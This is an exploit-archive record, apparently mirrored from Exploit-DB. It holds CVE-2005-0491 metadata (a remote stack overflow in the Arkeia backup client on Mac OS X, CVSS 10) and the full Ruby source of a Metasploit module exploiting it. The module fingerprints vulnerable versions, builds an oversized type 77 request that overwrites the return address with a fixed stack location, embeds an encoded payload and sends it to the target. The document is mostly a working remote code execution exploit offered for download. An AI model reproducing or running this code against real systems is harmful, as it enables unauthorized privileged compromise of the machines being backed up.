{"exploit":{"id":"EDB-16865","name":"Knox Arkeia Backup Client Type 77 (OSX) - Remote Overflow (Metasploit)","description":"Knox Arkeia Backup Client Type 77 (OSX) - Remote Overflow (Metasploit)","cves":["CVE-2005-0491"],"author":"Metasploit","published":"2010-05-09","platform":"osx","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16865","path":"exploits/osx/remote/16865.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16865.rb","vulnerabilities":[{"id":"CVE-2005-0491","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Knox Arkeia Server Backup 5.3.x allows remote attackers to execute arbitrary code via a long type 77 request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0491","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0491"},"updatedAt":"2024-08-07T21:13:54.342Z","retrievedAt":"2026-11-26T12:42:10.485Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16865.png?v=2","url":"https://exploitbin.com/exploits/EDB-16865","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16865/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16865/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = AverageRanking\n\n\tinclude Msf::Exploit::Remote::Arkeia\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in the Arkeia backup\n\t\t\t\tclient for the Mac OS X platform. This vulnerability affects\n\t\t\t\tall versions up to and including 5.3.3 and has been tested\n\t\t\t\twith Arkeia 5.3.1 on Mac OS X 10.3.5.\n\t\t\t},\n\t\t\t'Author'         => [ 'hdm' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9262 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2005-0491'],\n\t\t\t\t\t[ 'OSVDB', '14011'],\n\t\t\t\t\t[ 'BID', '12594'],\n\t\t\t\t\t[ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1000,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'MinNops'  => 700,\n\t\t\t\t\t'Compat'   =>\n\t\t\t\t\t{\n\t\t\t\t\t\t'ConnectionType' => '-find',\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'Arkeia 5.3.1 Stack Return (boot)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'osx',\n\t\t\t\t\t\t\t'Arch'     => ARCH_PPC,\n\t\t\t\t\t\t\t'Ret'      => 0xbffff910,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Feb 18 2005',\n\t\t\t'DefaultTarget' => 0))\n\tend\n\n\tdef check\n\t\tinfo = arkeia_info()\n\t\tif !(info and info['Version'])\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\n\t\tprint_status(\"Arkeia Server Information:\")\n\t\tinfo.each_pair { |k,v|\n\t\t\tprint_status(\"   #{k + (\" \" * (30-k.length))} = #{v}\")\n\t\t}\n\n\t\tif (info['System'] !~ /Darwin/)\n\t\t\tprint_status(\"This module only supports Mac OS X targets\")\n\t\t\treturn Exploit::CheckCode::Detected\n\t\tend\n\n\t\tif (info['Version'] =~ /Backup (4\\.|5\\.([012]\\.|3\\.[0123]$))/)\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\tend\n\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\t# Request has to be big enough to find and small enough\n\t\t# not to write off the end of the stack. If we write too\n\t\t# far down, we also smash env[], which causes a crash in\n\t\t# getenv() before our function returns.\n\n\t\thead = \"\\x00\\x4d\\x00\\x03\\x00\\x01\\xff\\xff\"\n\t\thead[6, 2] = [1200].pack('n')\n\n\t\tbuf = rand_text_english(1200, payload_badchars)\n\n\t\t# Return back to the stack either directly or via system lib\n\t\tbuf[0, 112] = [target.ret].pack('N') * (112/4)\n\n\t\t# Huge nop slep followed by the payload\n\t\tbuf[112, payload.encoded.length] = payload.encoded\n\n\t\tprint_status(\"Sending request...\")\n\t\tbegin\n\t\t\tsock.put(head)\n\t\t\tsock.put(buf)\n\t\t\tsock.get_once\n\t\trescue IOError, EOFError => e\n\t\t\tprint_status(\"Exception: #{e.class}:#{e}\")\n\t\tend\n\t\thandler\n\t\tdisconnect\n\tend\n\nend","sha256":"3274d425897ced42f1a3cbc2b6a6696b0e15b4b34b65eb746a2072190cca9e88","bytes":2975,"fetchedAt":"2026-11-26T13:06:12.039Z","encoding":"utf-8 (display only; download retains original bytes)"}